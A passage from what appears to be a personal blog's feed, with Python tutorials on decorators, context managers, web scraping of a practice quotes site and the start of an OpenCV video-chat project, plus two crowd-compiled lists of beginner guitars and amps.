You can see that hello_world is of type <class ‘function’, that means it’s an object of the class function. Also, classes we defined are objects of the class type. It’s a little weird to get your head around, but once you’ve tried playing with the type function with different things in the Python shell it’ll click.

Next, let’s observe functions being first-class citizens.

We can store functions in a variable.

>>> hello = hello_world
>>> hello()
Hello world!

Defining a function inside another function.

>>> def wrapper_function():
...     def hello_world():
...             print('Hello world!')
...     hello_world()
...
>>> wrapper_function()
Hello world!

Pass function as an argument to another function, and return function from another function.

>>> def higher_order(func):
...     print('Received function {} as input'.format(func))
...     func()
...     return func
...
>>> higher_order(hello_world)
Received function <function hello_world at 0x032C7FA8> as input
Hello world!
<function hello_world at 0x032C7FA8>

The examples above combined with what we discussed before should clear how functions in Python are flexible. Keeping that in mind, we can start discussing decorators.

Understanding decorators

Let’s reiterate the definition of a decorator

A decorator is a function that allows us to wrap another function in order to extend the behavior of the wrapped function, without permanently modifying it.

Now that we know how higher-order functions work, we can understand how decorators work. Let’s look at an example decorator first —

def decorator_function(func):
  def wrapper():
    print('Wrapper function!')
    print('The wrapped function is: {}'.format(func))
    print('Executing wrapped function...')
    func()
    print('Exiting wrapper function')
  return wrapper

Here, decorator_function is a decorator function (duh!). As you can see, it’s a higher-order function, because it takes a function as its argument, and it also returns one. Inside decorator_function, we’ve defined another function, a wrapper one so to speak, which wraps the argument function, and subsequently modifies its behavior. The decorator returns this wrapper function. Now let’s see this decorator in action —

>>> @decorator_function
... def hello_world():
...     print('Hello world!')
...
>>> hello_world()
Wrapper function!
The wrapped function is: <function hello_world at 0x032B26A8>
Executing wrapped function...
Hello world!
Exiting wrapper function

It’s like magic! Just by adding the @decorator_function statement before the def statement for the hello_world, we’ve modified it. But as you may have already understood, the @ statement is just syntactic sugar for —

hello_world = decorator_function(hello_world)

In other words, all the @decorator_function statement doing is calling decorator_function with hello_world as its argument, and assigning the returned function to the name hello_world.

While this example may have been a “whoa” moment, the decorator wasn’t really a useful one. Let’s look at some more examples, hopefully, useful ones.

def benchmark(func):
    import time

    def wrapper():
        start = time.time()
        func()
        end = time.time()
        print('[*] Execution time: {} seconds.'.format(end-start))
    return wrapper

@benchmark
def fetch_webpage():
    import requests
    webpage = requests.get('https://google.com')

fetch_webpage()

Here I’ve taken created a decorator that would measure the time taken by a function to execute. It’s a fairly useful decorator, I’ve used it on a function that GETs the homepage of Google. As you can see, I’ve saved the time before calling the wrapped function, and after calling the wrapped function, and by subtracting those two I got the time of execution.

On running the above I got the following output

[*] Execution time: 1.4326345920562744 seconds.

You must have started realizing how useful decorators can be. It adds functionality to a function without modifying the original code, and it gives you complete flexibility over what you want to do // modify. The possibilities are endless!

Using arguments and return-value

In the examples we’ve looked at so far, the decorated functions were neither taking any arguments, nor they were returning anything. Let’s look expand the benchmark decorator to include that.

def benchmark(func):
    import time

    def wrapper(*args, **kwargs):
        start = time.time()
        return_value = func(*args, **kwargs)
        end = time.time()
        print('[*] Execution time: {} seconds.'.format(end-start))
        return return_value
    return wrapper

@benchmark
def fetch_webpage(url):
    import requests
    webpage = requests.get(url)
    return webpage.text

webpage = fetch_webpage('https://google.com')
print(webpage)

Of which the output is

[*] Execution time: 1.4475083351135254 seconds.
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage"........

You can see that the arguments of the decorated function get passed to the wrapper function, and then you’re free to do anything with it. You can modify the arguments and then pass them to the decorated function, or you can pass them unmodified, or you can discard them completely and pass whatever pleases you to the decorated function. Same goes with the returned value from the decorated function, do whatever you want with it. Here in the example, I’ve kept the arguments and the return value of the decorated function unmodified.

Decorators with arguments

We can also define decorators which take arguments. It’d be best to look at the code in order to understand this —

def benchmark(iters):
    def actual_decorator(func):
        import time

        def wrapper(*args, **kwargs):
            total = 0
            for i in range(iters):
                start = time.time()
                return_value = func(*args, **kwargs)
                end = time.time()
                total = total + (end-start)
            print('[*] Average execution time: {} seconds.'.format(total/iters))
            return return_value

        return wrapper
    return actual_decorator


@benchmark(iters=10)
def fetch_webpage(url):
    import requests
    webpage = requests.get(url)
    return webpage.text

webpage = fetch_webpage('https://google.com')
print(webpage)

Here I’ve extended the benchmark decorator so that it runs the decorated function a given number of times (specified using the iters parameter), and then prints out the average time taken by the function to execute. But to do this, I’ve had to use a little trick — exploiting the nature of functions in Python.

The benchmark function, which may at first look like a decorator, is not really a decorator. It’s a normal function, which accepts the argument iters, and returns a decorator. That decorator, in turn, decorates the fetch_webpage function. That’s why we haven’t used the statement @benchmark, rather we’ve used @benchmark(iters=10) — meaning the benchmark function is getting called here (a function with parentheses after it signifies a function call) and the return value of that function is the actual decorator.

It’s admittedly a kind of tricky to understand, the following rule-of-thumb will help you

Decorator function takes a function as an argument, and returns a function.

Here in the example, the benchmark function doesn’t satisfy this rule of thumb, because it doesn’t take a function as an argument. Whereas the actual_decorator function—which is returned by benchmark—is a decorator, because it satisfies the above rule-of-thumb.

Objects as decorators

Lastly, I want to mention that not only functions but any callable can also be a decorator. Class instances // objects with a __call__ method can be called too, so that can be used as a decorator as well. This functionality can be used to create decorators with some kind of “state”. For example, Scott Lobdell shows how he created a memoization decorator in his blog here. I’ll post the code here but won’t go into detail explaining it, you can check out his blog post for a write-up on this.

from collections import deque

class Memoized(object):
    def __init__(self, cache_size=100):
        self.cache_size = cache_size
        self.call_args_queue = deque()
        self.call_args_to_result = {}

    def __call__(self, fn, *args, **kwargs):
        def new_func(*args, **kwargs):
            memoization_key = self._convert_call_arguments_to_hash(args, kwargs)
            if memoization_key not in self.call_args_to_result:
                result = fn(*args, **kwargs)
                self._update_cache_key_with_value(memoization_key, result)
                self._evict_cache_if_necessary()
            return self.call_args_to_result[memoization_key]
        return new_func

    def _update_cache_key_with_value(self, key, value):
        self.call_args_to_result[key] = value
        self.call_args_queue.append(key)

    def _evict_cache_if_necessary(self):
        if len(self.call_args_queue) > self.cache_size:
            oldest_key = self.call_args_queue.popleft()
            del self.call_args_to_result[oldest_key]

    @staticmethod
    def _convert_call_arguments_to_hash(args, kwargs):
        return hash(str(args) + str(kwargs))


@Memoized(cache_size=5)
def get_not_so_random_number_with_max(max_value):
    import random
    return random.random() * max_value

This example is mostly for demonstration purposes though, in a real application you should use functools.lru_cache to implement caching functionality like this.

Conclusion

I hope this post helped you understand the power of decorators, and also the “magic” behind it. If you have any questions, post it in the comments down below and I’ll try my best to get back to you.

P.S.

Some things I want to say here that are important but I left out in the article or didn’t make it clear enough. These may seem to go against what I said in the entire article, but actually they don’t. I just didn’t mention them at the start so that the reader doesn’t get overwhelmed.

Decorators need not be functions, it can be any callable.
Decorators need not return functions, they can return anything. But usually we want decorators to return the objects of the same type as of the decorated object. Thanks to /u/zardeh and /u/mafrasi2 at Reddit for pointing this out.

>>> def decorator(func):
...     return 'sumit'
...
>>> @decorator
... def hello_world():
...     print('hello world')
...
>>> hello_world
'sumit'

Decorators also need not take only functions as input. Thanks to /u/hchasestevens at Reddit for pointing this out, check this article out to learn more about it.
I’ve found that the need for decorators only becomes clear when you write a library. So if decorators still seem kind of useless to you, think of it from the POV of a library developer. A good example would be the view decorator in Flask.
When I said that decorators don’t modify functions permanently, what I meant is that it can be easily removed and added with just one line.
You should look into functools.wraps — it’s a helper function that helps you make a decorated function look like the original function, doing things such as keeping the docstring of the original function. Thanks to /u/primordial_pouch and /u/Overload175 over at Reddit for pointing this out.

Demystifying Context Managers in Python

Wed, 02 Jan 2019 18:30:00 GMT

Introduction

One of the “obscure” features of Python that almost all Python programmers use—even the beginner ones—but don’t really understand, is context managers. You’ve probably seen them in the form of with statements, usually first encountered when you learn opening files in Python. Although context managers seem a little strange at first, when we really dive into them, understand the motivation and techniques behind it, we get access to a new weapon in our programming arsenal. So without further ado, let’s dive into it!

Motivation: Resource management

As someone much wiser than me said someday, “Necessity is the mother of invention”. To really understand what a context manager is and how can we use it, we must first investigate the motivations behind it — the necessities that gave rise to this “invention”.

The primary motivation behind context managers is resource management. When a program wants to get access to a resource on the computer, it asks the OS for it, and the OS, in turn, provides it with a handle for that resource. Some common examples of such resources are files and network ports. What’s important to understand is that these resources have limited availability, for example, a network port can be used by a single process at a time, and there are a limited number of ports available. So whenever we open a resource, we have to remember to close it, so that the resource is freed. But unfortunately, it’s easier said than done.

The most straightforward way to accomplish proper resource management would be calling the close function after we’re done with the resource. For example —

opened_file = open('readme.txt')
text = opened_file.read()
...
opened_file.close()

Here we are opening a file named readme.txt, reading the file and saving its contents in a string text, and then when we’re done with it, closing the file by calling the .close() method of the file object. Now at first glance this might seem okay, but actually, it’s not robust at all. If anything unexpected happens between opening the file and closing the file and the program fails to execute the line containing the close statement, there would be a resource leak. These unexpected events are what we call exceptions, a common one would be when someone forcefully closes the program while it’s executing.

Now, the proper way to handle this would be using Exception handling, using try...finally blocks. Look at the following example,

try:
    opened_file = open('readme.txt')
    text = opened_file.read()
    ...
finally:
    opened_file.close()

Python always makes sure the code in the finally block is executed, regardless of anything that might happen. This is the way programmers in other languages would handle resource management, but Python programmers get a special mechanism that lets them implement the same functionality without all the boilerplate. Here’s where context managers come in.

Implementing context managers

Now that we are done with the most crucial part about understanding context managers, we can jump into implementing them. For this tutorial, we will implement a custom File class. It’s totally redundant as Python already provides this, but nevertheless, it’ll be a good learning exercise as we’ll always be able to relate back to the File class that’s already there in the standard library.

The standard and “lower-level” way of implementing a context manager is defining two “magic” methods in the class you want to implement resource management for, __enter__ and __exit__. If you’re getting lost—thinking, “what’s this magic method thingy? I’ve never heard of this before”—well, if you’ve started doing object-oriented programming in Python, you surely have encountered a magic method already, the method __init__. For lack of better words, they’re special methods that you can define to make your classes smarter or add “magic” to them. You can find a nice reference list of all the magic methods available in Python here.

Anyway, getting back to the topic, before we start implementing these two magic methods, we’ll have to understand their purpose. __enter__ is the method that gets called when we open the resource, or to put it in a slightly more technical way — when we “enter” the runtime context. The withstatement will bind this method’s return value to the target specified in the as clause of the statement. Let’s look at an example,

class FileManager:
    def __init__(self, filename):
        self.filename = filename

    def __enter__(self):
        self.opened_file = open(self.filename)
        return self.opened_file

As you can see, the __enter__ method is opening the resource—the file—and returning it. When we use this FileManager in a with statement, this method will be called and its return value will be bind to the target variable you mentioned in the as clause. I’ve demonstrated in the following code snippet —

with FileManager('readme.txt') as file:
    text = file.read()

Let’s break it down part-by-part. Firstly, an instance of the FileManager class is created when we instantiate it, passing the filename “readme.txt” to the constructor. Then, the with statement starts working on it — it calls the __enter__ method of that FileManager object and assigns the returned value to the file variable mentioned in the as clause. Then, inside the with block, we can do whatever we want to do with the opened resource.

The other important part of the puzzle is the __exit__ method. The __exit__ method contains clean-up code which must be executed after we’re done with the resource, no matter what. The instructions in this method will be similar to the ones in the finally block we discussed before while discussing exception handling. To reiterate, the __exit__ method contains instructions to properly close the resource handler, so that the resource is freed for further use by other programs // the OS. Now let’s take a look at how we might write this method —

class FileManager:
    def __exit__(self. *exc):
        self.opened_file.close()

Now, whenever the instances of this class will be used in a with statement, this __exit__ method will be called before the program leaves the with block, or before the program halts due to some exception. Now let’s look at the whole FileManager class so that we have a complete idea.

class FileManager:
    def __init__(self, filename):
        self.filename = filename

    def __enter__(self):
        self.opened_file = open(self.filename)
        return self.opened_file

    def __exit__(self, *exc):
        self.opened_file.close()

Simple enough, right? We just defined the opening and cleaning-up actions in the respective magic methods, and Python will take care of resource management wherever this class might be used. That brings me to the next topic, the different ways we can use context manager classes, such as this FileManager class.

Using context managers

There’s not much to explain here, so instead of writing long paragraphs, I’ll provide code-snippets in this section.

file = FileManager('readme.txt')
with file as managed_file:
    text = managed_file.read()
    print(text)

with FileManager('readme.txt') as managed_file:
    text = managed_file.read()
    print(text)

def open_file(filename):
    file = FileManager(filename)
    return file

with open_file('readme.txt') as managed_file:
    text = managed_file.read()
    print(text)

You can see that the key thing to remember is,

The object passed to the with statement must have __enter__ and __exit__ methods.
The __enter__ method must return the resource that’s to be used in the with block.

Important — There are some subtleties I left out, to make the discussion to-the-point. For the exact specifications of these magic methods, refer to the Python documentation here.

Using contextlib

The Zen of Python—Python’s guiding principle as a list of aphorisms—states that,

Simple is better than complex.

To really drive this point home, Python developers have created a library named contextlib containing utilities regarding context managers, as if they didn’t simplify the problem of resource management enough. It contains an array of functions and decorators that can be used to make your context managers DRY. I’m going to demonstrate only one of them briefly here, I recommend you to check out the official Python docs for more.

from contextlib import contextmanager

@contextmanager
def open_file(filename):
    opened_file = open(filename)
    try:
        yield opened_file
    finally:
        opened_file.close()

Like the code above, we can simply define a function that yields the protected resource in a try statement, closing it in the subsequent finally statement. Another way to understand it:

All the contents you’d otherwise put in the __enter__ method, except the return statement, goes before the try block here — basically the instructions for opening the resource.
Instead of returning the resource, you yield it, inside a try block.
The contents of the __exit__ method goes inside the corresponding finally block.

Once we have such a function, we can decorate it using the contextlib.contextmanager decorator and we’re good.

with open_file('readme.txt') as managed_file:
    text = managed_file.read()
    print(text)

As you can see, the decorated open_file function returns a context manager and we can use that directly. This lets us achieve the same effect as of creating the FileManager class, without all the hassle.

Best Beginner Budget Guitar Amps in 2019, According to the Internet

Thu, 27 Dec 2018 18:30:00 GMT

In this same spirit of this post about the best electric guitars, I decided to make another list about… drum roll… best beginner guitar amps! Because what’s a good electric guitar without a decent amp to bring teh tone?

Like always, Google generously supplied the opinions of the Interweb. This one was a little trickier than doing the same with guitars, because there were such a large number of amps to choose from, and there was little agreement between websites about what’s the best amp! So, I had to embark deep into the third page of Google search, who does that?! So here it is, the list I got upon compiling books from the first three pages of Google search results of the query “beginner budget electric guitar amp”.

Important — Number of ★s against an amp indicates the number of times that amp came up repeating, so the more the better.

Top picks: Compiled list

There are a lot of diversity and no definite trend in the list with the exact amp models, so that isn’t really helpful. So, I decided to make another derivative list, in which I counted amp models from the same series as one. Usually, the main difference they had was in the power rating. I figured once you know what are the best amp series, you could choose the exact model depending upon your budget and how loud you want it to be. Also, I left out models // series which appeared only once.

★★★★★★★★ Orange Crush Series
★★★★★★★ Vox VT Series
★★★★★★ Line 6 Spider V
★★★★★★ Fender Champion Series
★★★★★ Marshall MG Gold Series
★★★★★ Blackstar ID:Core Series
★★★★★ Orange Terror Series
★★★★ Peavey Vypyr VIP Series
★★★★ Fender Mustang I v2
★★★★ Roland Cubes
★★★ Bugera V5 Infinium
★★★ Boss Katana Series
★★★ Marshall Code Series
★★ Fender Pro Junior III 15W
★★ Blackstar Fly 3
★★ Yamaha THR10
★ Bugera BC15
★ Fender Blues Junior IV
★ Fender Super Champ X2
★ Line 6 Spider Classic
★ Peavey Rage 258
★ Pignose 7-100

All the amps

★★★ Bugera V5 Infinium
★ Bugera BC15
★ Line 6 Spider IV
★★ Line 6 Spider V 30
★ Line 6 Spider V 60
★ Line 6 Spider Classic 15
★ Orange Micro Terror
Orange Tiny Terror
★★ Orange Micro Dark
Orange Micro Crush Mini
★★★★ Orange Crush 12
★ Orange Crush 20RT
Orange Crush 35
★ Fender Blues Junior III
★★ Fender Champion 40
★★★ Fender Champion 20
★★★ Fender Mustang I v2
Fender Mustang II
Fender Mustang GT 40
★ Fender Super Champ X2
★★ Fender Pro Junior III 15W
Fender Acoustasonic 15
Fender Mini Deluxe
Vox AC15C1
Vox AC10
★ Vox Pathfinder 10W
★ Vox Valvetronix VT40X
★ Vox Valvetronix VT20+
★ Vox Valvetronix VT20X
Vox amPlug 2
Marshall DSL40C
★ Marshall Code 25
★ Marshall Code 50
Marshall MS-2 Micro amp
Marshall MG10CF
Marshall MG15CF
★★★ Marshall MG30FX
Peavey 6505+
★ Peavey Vypur VIP 1
★★ Peavey Vypyr VIP 2
★ Peavey Rage 258
Peavey Solo 12W Transtube
Peavey Backstage
PRS Sonzera 20
Dr. Z Carmen Ghia
Grammatico Amps LaGrange
Blackstar ID:15 TVP
★ Blackstar ID:CORE 10 V2
Blackstar ID:Core Stereo 100
★ Blackstar ID:Core Stereo 20 V2
Blackstar ID:CORE 40W Head
★★ Blackstar Fly 3
Blackstar HT1
★ Boss Katana 50
Boss Katana 100
Boss Katana Mini
Behringer Ultracoustic ACX450 45 watt
Behrinder Ultracoustic AT108
★★ Yamaha THR10
Roland Blues Cube Hot
Roland Cube Street EX
Roland Cube 10 GX
Roland Micro Cube GX
Roland Mobile Cube
EVH 5150 III LBX
VHT Special 6
DV Mark Little Jazz
Rocktron Velocity V10
Blackheart Killer Ant
Hotone Nano Legact Mojo Diamond
Monoprice 611705
Mugig Guitar Amplifier
★ Pignose 7-100
Pignose 7-200 Hog 20

Sources

Best Beginner Budget Electric Guitars in 2019, According to the Internet

Tue, 25 Dec 2018 18:30:00 GMT

Update — I wrote a similar post about best beginner budget guitar amps, you can find it here.

I’ve been dabbling in music for a few months now, mostly playing an acoustic guitar borrowed from a friend. But the primary reason for my attraction to guitar was lead solos, especially the ones by David Gilmour. So I decided to “upgrade” and buy an electric guitar. But then there was this inevitable dilemma of selection, which one should I buy? You should note that I was looking for beginner budget guitars, not expensive ones.

Naturally, Google came to help. Upon compiling books from the first two pages of Google search results of the query “beginner budget electric guitar”, what I got is the list below. FYI, I’ve made a similar post before, about books every startup founder should read, you can find that here.

Important — Number of ★s against a guitar indicates the number of times that guitar came up repeating, so the more the better.

Top picks: Guitars coming up more than once

★★★★★★★★★★ Epiphone Les Paul Special II
★★★★★★★★ Squier Affinity Stratocaster
★★★★★★ Squire Affinity Telecaster
★★★★★★ Jackson JS22 Dinky
★★★★★ Yamaha Pacifica PAC012
★★★★★ Yamaha Pacifica PAC112
★★★★ Squire Bullet Stratocaster
★★★★ ESP LTD EC10
★★★ Epiphone SG Special
★★★ Ibanez GRX20Z
★★★ Dean Vendetta XM // XMT
★★★ Schecter C1 SGR
★★★ Squier Affinity Telecaster
★★ Ibanez GRX70QA
★ Epiphone Les Paul SL
★ Epiphone Dot
★ Epiphone G-400
★ Epiphone Les Paul 100
★ Epiphone Les Paul Standard
★ Oscar Schimdt OE20
★ Sterling Music Man Sub Silo 3
★ Dean MLX
★ Squier Bullet Mustang HH
★ Gretsch G2622 Streamliner
★ Schecster C6 Plus
★ Ibanez Artcore AS53

FYI — I ended up buying Yamaha Pacifica PAC012, in case you wanted to know.

All the guitars

★★★★★★★★★★ Epiphone Les Paul Special II
★ Epiphone Les Paul SL
Epiphone Les Paul Special VE
★ Epiphone Dot
★ Epiphone G-400
★ Epiphone Les Paul 100
★ Epiphone Les Paul Standard
Epiphone Les Paul Studio Deluxe
★★★ Epiphone SG Special
★★★ Ibanez GRX20Z
★★ Ibanez GRX70QA
Ibanez GRGM21
Ibanez GRG121DX
Ibanez GRGR120EX
Ibanez GRG170
★★★★★★★★ Squier Affinity Stratocaster
★★★★★ Yamaha Pacifica PAC012
★★★ Schecter C1 SGR
★★★★★★ Jackson JS22 Dinky
★★★ Squier Affinity Telecaster
★ Oscar Schimdt OE20
★★★ Dean Vendetta XM // XMT
★★★★ ESP LTD EC10
★ Sterling Music Man Sub Silo 3
★ Dean MLX
Squier Affinity Jazzmaster HH
Mitchell MD200
★ Squier Bullet Mustang HH
★★★★★ Yamaha Pacifica PAC112
★ Gretsch G2622 Streamliner
PRS SE Standard
Schecter Demon 6 2018
Squier Vintage ’72 Telecaster Thinline
Squier Vintage Modified Jaguar
Chapman ML2 Modern Standard
Jackson X Series Signature Adrian Smith SDX
Gretsch G5520 Electromatic Jet BT
Gretsch G5421
★★★★ Squire Bullet Stratocaster
★★★★★★ Squire Affinity Telecaster
Eastcoast GL20
★ Schecter C6 Plus
★ Ibanez Artcore AS53
Ibanez Artcore AF55
G&L Tribute Fallout
Fender Modern Player Tele Plus
Squier Deluxe Stratocaster
Oscar Schimdt OE30CH

Sources

Pages from the first two pages of Google search results for the query “beginner budget electric guitar” as of 26th Dec 2018.

An Introduction to Web-scraping using Python

Sun, 23 Dec 2018 18:30:00 GMT

Web-scraping is an important technique, frequently employed in a lot of different contexts, especially data science and data mining. It can also contribute as a part of an automation pipeline. Python is considered the go-to language for web-scraping, the reason being the batteries-included nature of Python; you can create a simple scraping script in about 15 minutes and under 100 lines of code. So regardless of usage, web-scraping is a skill that every Python programmer must have under his belt.

Before we start getting hands-on, we should step back and consider what is web-scraping, when should we use it and when to avoid using it. As you already know, web-scraping is a technique employed to automatically extract data from websites. What’s important to understand is, web-scraping is a somewhat crude technique to extract data. If the developers of a website are generous enough to provide an API to extract data, that would be a lot more stable and robust way to do it. So, rule of thumb, if a website provides an API to programmatically retrieve their data, use that. If an API is not available, only then use web-scraping. With that being clear, let’s jump right into the tutorial.

For this tutorial, we’re going to scrape http://quotes.toscrape.com/, a site that lists famous quotes by renowned authors.

The pipeline

We can understand web-scraping as a pipeline containing 3 components

Downloading. Downloading the HTML web-page
Parsing. Parsing the HTML and retrieving data we’re interested in
Storing. Storing the retrieved data in our local machine in a specific format

Downloading HTML

It only seems logical that to extract any data from a web-page, we first have to download it. There are two ways we can go about doing this:

Using browser automation libraries like Selenium.
Selenium lets you open a browser, let’s say Chrome, and control it however you want. You can open the web-page in a browser and then get the HTML code of that page, all automated using Selenium. However, this method has a huge drawback — it is significantly slower. The reason being the overhead of running the browser and rendering the HTML in the browser. This is why we should always prefer the 2nd method, resorting to this method in exceptional cases — cases where the content we want to scrape gets loaded by some JS code in the browser.
Using HTTP libraries, such as Requests or Urllib.
HTTP libraries let you send the exact HTTP request you want to make and get the response, bypassing the need to open any browser at all, unlike the first method. This method should always be preferred, as it is way faster than Selenium. As I already said, we should only employ Selenium when it is absolutely necessary, i.e. when the required data is not there in the initial HTML at all, it gets loaded by some JS code in the browser.

Now let me show you how can we achieve this component of the pipeline using Selenium and Requests.

Using Requests

import requests

result = requests.get('http://quotes.toscrape.com/')
page = result.text

Here, a GET request is made to the URL, which is almost synonymous to downloading the webpage. Then, we can get the HTML source of the page by accessing the result object returned by the requests.get() method.

Using Selenium

from selenium import webdriver

driver = webdriver.Chrome()
driver.get('http://quotes.toscrape.com/')
page = driver.page_source

Here, we first start by creating a webdriver object, which represents the browser. Doing this will start the browser on the computer running the code. Then, by calling the get method of the webdriver object, we can open an URL. And finally, get the source code by accessing the page_source property of the webdriver object.

In both the cases, the HTML source of the URL is stored in the page variable as a string.

Parsing HTML and extracting data

Without getting into theoretical computer science, we can define parsing as the process of analyzing a string so that we can understand its contents and thus access data within it easily. In Python, there are two libraries that help us with Parsing HTML, BeautifulSoup and Lxml. Lxml is a more lower-level framework than BeautifulSoup, and we can use Lxml as a backend in BeautifulSoup, so for simple HTML parsing purposes, BeautifulSoup would be the preferred library.

But before we dive into parsing, we have to analyze the web-page’s HTML and see how the data we want to scrape is structured and located. Only when we’re armed with that information, we can get the information we want from the parsed HTML. But thankfully, we won’t have to open the source code in an editor and manually understand and correlate each HTML element with the corresponding element in the rendered page. Most browsers offer a Inspector, which enables us to quickly look at the HTML code of any element just by clicking on them.

To do this in Chrome, open the web page in Chrome, then right-click on the data you want to scrape and select Inspect. In Firefox, this option is called Inspect Element. Same thing, different name.

You’ll notice a pane opened at the bottom of the Chrome window, containing the source code of the element you clicked on. Browse through the source code a bit to get an idea of how the data which we want to scrape is structured.

As you can understand after a little bit of inspection, each quote is contained in a div with class="quote". Within that div, the text of the quote is in a span with class="text" and the author’s name is in a small with class="author". This info will be required in when we get to actually parsing the HTML.

Now, let’s start parsing the HTML page using BeautifulSoup.

from bs4 import BeautifulSoup

soup = BeautifulSoup(page, 'html.parser')

First of all, we create a parsed version of the page by passing it to the BeautifulSoup class constructor. As you can see, we also pass a second argument to the constructor, html.parser. That is the name of the parser BS4 is going to use to parse the string you passed to it. You could’ve also used the parser lxml, which we previously talked about, given that you have Lxml installed.

quotes = soup.find_all('div', class_='quote')

Then, we extract all the div tags in the page containing class="quote", as we know those are the divs containing quotes. To do this, BS4 offers a find_all function. We passed the tag name and the class name to the find_all function, and it returned all the tags satisfying the conditions, i.e. the tags containing our quotes.

An important thing to note here is, we’re working with tree structures here, soup and also each element of quotes are trees. In a way, the elements of quotes are parts of the larger soup tree. Anyway, without drifting off into a different discussion, let’s carry on.

scraped = []
for quote in quotes:
    text = quote.find('span', class_='text').text
    author = quote.find('small', class_='author').text
    scraped.append([text, author])

Now, we know that the text of the quote is in a span with class="text" and the author is in a small with class="author". To extract them from the quote elements, we again employ a similar function, find. This takes same arguments and functions almost the same as of find_all, the only difference being it returns the first tag satisfying the conditions, whereas find_all returned a list of tags. Also, we want to access the text property of the returned object, which contains the text enclosed within that tag.

So, as you can see in the code, we loop through all the elements of the list quotes, and extract the quote text and author name, storing them as a list of lists with the name scraped. Pretty printing scraped results in the following

[['“The world as we have created it is a process of our thinking. It cannot be '
  'changed without changing our thinking.”',
  'Albert Einstein'],
 ['“It is our choices, Harry, that show what we truly are, far more than our '
  'abilities.”',
  'J.K. Rowling'],
 ['“There are only two ways to live your life. One is as though nothing is a '
  'miracle. The other is as though everything is a miracle.”',
  'Albert Einstein'],
 ['“The person, be it gentleman or lady, who has not pleasure in a good novel, '
  'must be intolerably stupid.”',
  'Jane Austen'],
 ["“Imperfection is beauty, madness is genius and it's better to be absolutely "
  'ridiculous than absolutely boring.”',
  'Marilyn Monroe'],
 ['“Try not to become a man of success. Rather become a man of value.”',
  'Albert Einstein'],
 ['“It is better to be hated for what you are than to be loved for what you '
  'are not.”',
  'André Gide'],
 ["“I have not failed. I've just found 10,000 ways that won't work.”",
  'Thomas A. Edison'],
 ["“A woman is like a tea bag; you never know how strong it is until it's in "
  'hot water.”',
  'Eleanor Roosevelt'],
 ['“A day without sunshine is like, you know, night.”', 'Steve Martin']]

Storing the retrieved data

Once we have acquired the data, we can store it in whatever format we want; CSV file, SQL database or NoSQL database. To be strict, this step shouldn’t count as a part of the scraping process, but still, I’ll cover it briefly for the sake of completeness. I’d say the most popular way of storing scraped data is storing them as CSV spreadsheets, so I’ll show you how to do just that, very briefly. I won’t go into the details, for that you should refer to the official Python documentation. So without further ado, let’s jump into the code.

import csv

with open('quotes.csv', 'w') as csv_file:
        writer = csv.writer(csv_file, delimiter=',')
        for quote in scraped:
            writer.writerow(quote)

As we can see, the code is pretty self-explanatory. We are creating a CSV writer object from the opened quotes.csv file, and then writing the quotes one by one using the writerow function. As it’s evident, the writerow function accepts a list as input and then writes that to the CSV as a row, pretty straightforward.

Conclusion and next steps

This tutorial should help you understand what scraping is basically about while learning to implement a simple scraper yourself. This kind of scraper should suffice for simple automation or small-scale data retriever. But if you want to extract large amounts of data efficiently, you should look into scraping frameworks, especially Scrapy. It’ll help you write very fast, efficient scrapers using a few lines of code. Whatever framework you use, underneath that shiny surface that framework is also using these very basic scraping principles, so understanding this tutorial should help you build the foundational knowledge for your scraping adventures.

Making Prattle: A Fully-fledged P2P Video Chat Application Using Python

Mon, 02 Jul 2018 18:30:00 GMT

I’ve been into OpenCV and multimedia processing recently. Some months ago I tried diving into sockets too—made this P2P file sender. So I’ve been thinking, why not make a full-fledged P2P video chat software, combining sockets, OpenCV and sound processing using sounddevice? Could be fun learning experience, and I could write about it as I learn. So that’s how I came up with the idea for this series, of which this is the first post.

To make this series beginner-friendly as well as thorough, I will try to break each tutorial into comprehensive steps, and provide lots of code-samples. You can follow the development of the app here on Github as well, the repo will contain the latest source-code of Prattle.

Before diving into it, we should take some time to understand the different components of the application, and the scopes thereof. The project can be split into the following components.

Video
- Recording video from camera.
- Displaying video — received either from the web-cam or through the network.
Audio
- Recording audio from microphone.
- Playing audio received through the network.
Networking
- Sending live audio and video data over sockets, as they’re being recorded.
- Receiving live audio and video data from the network, and playing them.

Once we’ve figured out and made the individual components, the only step left would be integrating them into a complete, usable app. We have a long way to go, so let’s get started right away!

Displaying live video feed from web-cam

Let’s start by building the video components. We will be using OpenCV for this, the most popular open-source image and video processing library. Installing OpenCV with the correct python bindings may sound trivial, but surprisingly it can get very tricky, as the official way of doing it is compiling it from source! There’s an unofficial python wheel of OpenCV though, so I’d suggest you take that route and avoid all the hassle.

$ pip3 install opencv-python

Important. When playing with videos in OpenCV, one thing you have to keep in mind is a video is nothing but a stream of images, called frames.

Let’s start with a very simple example. This function opens a small window showing the live feed from your web-cam.

import cv2 as cv


def display():
    cap = cv.VideoCapture(0)

    while True:
        ret, frame = cap.read()
        cv.imshow('Live Web-Cam Feed', frame)

        key = cv.waitKey(1)
        if key in [27, 81, 113]:
            break

    cap.release()
    cv.destroyAllWindows()

Let’s break this code down line-by-line. In the first line, we import the OpenCV library. The library comes with the name cv2, but we’re importing it with the name cv for convenience.

Then we start writing the code of the function display. Displaying a video involves a few steps. Firstly, to read frames from a video source, we need to create a VideoCapture object. The argument to the constructor indicates which camera you want to use, in case you have multiple web-cams, for most people this argument will be 0. So, we create a VideoCapture object like this,

cap = cv.VideoCapture(0)

Now, remember that a video is nothing but a stream of frames, i.e. images. So naturally, displaying a video involves

Extracting the individual frames of the video.
Showing the frames one by one.

Crucial for this part are two functions, the read function of the capture object, and the cv.imshow function from the OpenCV library.

As evident from the name, the read function of a VideoCapture object gives us a frame of the video stream. In case of a web-cam feed, it returns the frame captured from the webcam at the moment the function is called. And then by passing this frame to cv.imshow function, we display it on our screen! So the no-frills code for this part would be —

while True:
    ret, frame = cap.read()
    cv.imshow('Live Web-Cam Feed', frame)

Here as you can see, the cap.read function returns something else along with the frame, which I’m putting into the ret variable. It’s a boolean value, indicating whether the read operation was succesfull or not. Also, the cv.imshow function takes the title of the window to be shown as its first argument, and the image to be shown as its second argument.

We have put the two lines inside a while loop as we want to repeat these steps in rapid succession, resulting in a continuous video stream.

A hint for the upcoming content, the first step in this loop—extracting a frame from a video stream—can be replaced by any other method, such as receiving it over the network. All the cv.imshow function cares about is getting the frame, however you can manage to get it. We are going to utilize this when we send and receive video over the network.

Now you may be getting curious about this part of the code —

while True:
    ...
    key = cv.waitKey(1)
    if key in [27, 81, 113]:
        break

